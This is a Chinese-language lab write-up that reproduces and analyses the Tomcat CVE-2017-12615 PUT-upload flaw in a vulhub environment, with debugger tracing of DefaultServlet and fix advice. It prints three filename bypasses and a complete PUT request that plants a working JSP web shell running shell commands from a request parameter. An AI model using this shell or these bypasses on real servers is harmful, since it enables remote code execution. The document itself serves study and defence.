Tomcat(CVE-2017-12615)漏洞复现与分析
应用介绍
Tomcat 是 Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的 Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。另外,Tomcat 和 IIS 等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.14。
漏洞介绍
在 Tomcat 官网页面,整理出历史以来存在的漏洞,这里只进行 CVE-2017-12615 的漏洞复现。
从上图可知,该漏洞存在的原因是 Tomcat 配置不当,造成攻击者可通过上传 JSP 文件从而造成RCE。
影响范围是 7.0.0 到 7.0.79。
漏洞危害
任意文件写入,RCE。
漏洞原理
由于 Tomcat 配置不当,将配置文件 conf/web.xml 中的 readonly 设置成 false (默认设置为 true)时,导致可以使用 PUT 方法上传任意文件。
环境搭建
通过 vulhub 上的环境进行复现,使用 docker-compose 命令配置环境即可。
| 计算机 | IP |
|---|---|
| Kali | 192.168.174.128 |
| Win10 | 192.168.174.1 |
| Victim | 192.168.174.141 |
漏洞复现
配置好环境后访问 Victim 的 8080 端口,看到 Tomcat 的版本是 8.5.19。
访问默认页面使用的是 GET 方法,试试用 PUT 方法写入一个文件时返回 201。
在 Victim docker 容器中可以看到已成功创建 a.txt 文件。
1
2
root@eeca7819c871:/usr/local/tomcat/webapps/ROOT# cat a.txt
gg
不过在上传 JSP 文件时返回 404 状态码,并且上传不成功,这里我们就需要进行绕过,有以下三种方法:
-
PUT /a.jsp%20 HTTP/1.1因为 Windows 上不允许文件以空格结尾,上传到 Windows 会被自动去掉末尾空格,在 linux 上不能自动去掉末尾空格
-
PUT /a.jsp::$DATA HTTP/1.1Windows 上 NTFS 流
-
PUT /a.jsp/ HTTP/1.1/在文件名中是非法的,上传后会被去除(Linux/Windows)
因为这里是 linux 环境,就采用第三种方法进行上传文件绕过,请求包如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /d.jsp/ HTTP/1.1
Host: 192.168.174.141:8080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 509
<%new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]=request.getParameter(\"cmd\");process=java.lang.Runtime.getRuntime().exec(s);process.waitFor();inputStream=process.getInputStream();var ByteArray=Java.type('byte[]');var bytes=new ByteArray(inputStream.available());inputStream.read(bytes);response.getOutputStream().write(bytes);", new javax.script.SimpleBindings(new java.util.HashMap() {{put("response", response);put("request", request);}}));%>
漏洞分析
在IDEA中调试 Tomcat 源码,环境配置可参考这篇文章。之前我们在 conf/web.xml 文件中添加了 readonly,并且其中涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,默认配置情况是:
jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认是由 org.apache.catalina.servlets.DefaultServlet 处理。因此我们在 org.apache.catalina.servlets.DefaultServlet.doPut 方法处下断点(文件路径在项目根目录下:src/main/java/org/apache/catalina/servlets/DefaultServlet.java)。
之后进行 debug 调试启动(点击小虫),我们发起 PUT 请求时IDEA将会停止在断点处。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PUT /5.jsp/ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=A72ED10A13E6044296FB5B3C1FAA318E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Length: 3
gga
跟进代码,这里进行文件写入,可以看到目前文件名是 /5.jsp/。
之后跟进到 rebind() 方法,可以看到写入文件时去掉了末尾的 /, 最后成功创建文件。
漏洞验证
编写 python 脚本实现上述操作,具体可查看这里。
也可以使用 Xray 进行批量漏洞验证,通过查看它的 POC 文件,我们知道他也是将我们上述的操作自动化执行,并且也会在服务器上创建文件。
修复建议
- 检查配置文件,设置
readonly为True; - 更新到最新版本。
总结
上传 JSP 文件的三种绕过方式。








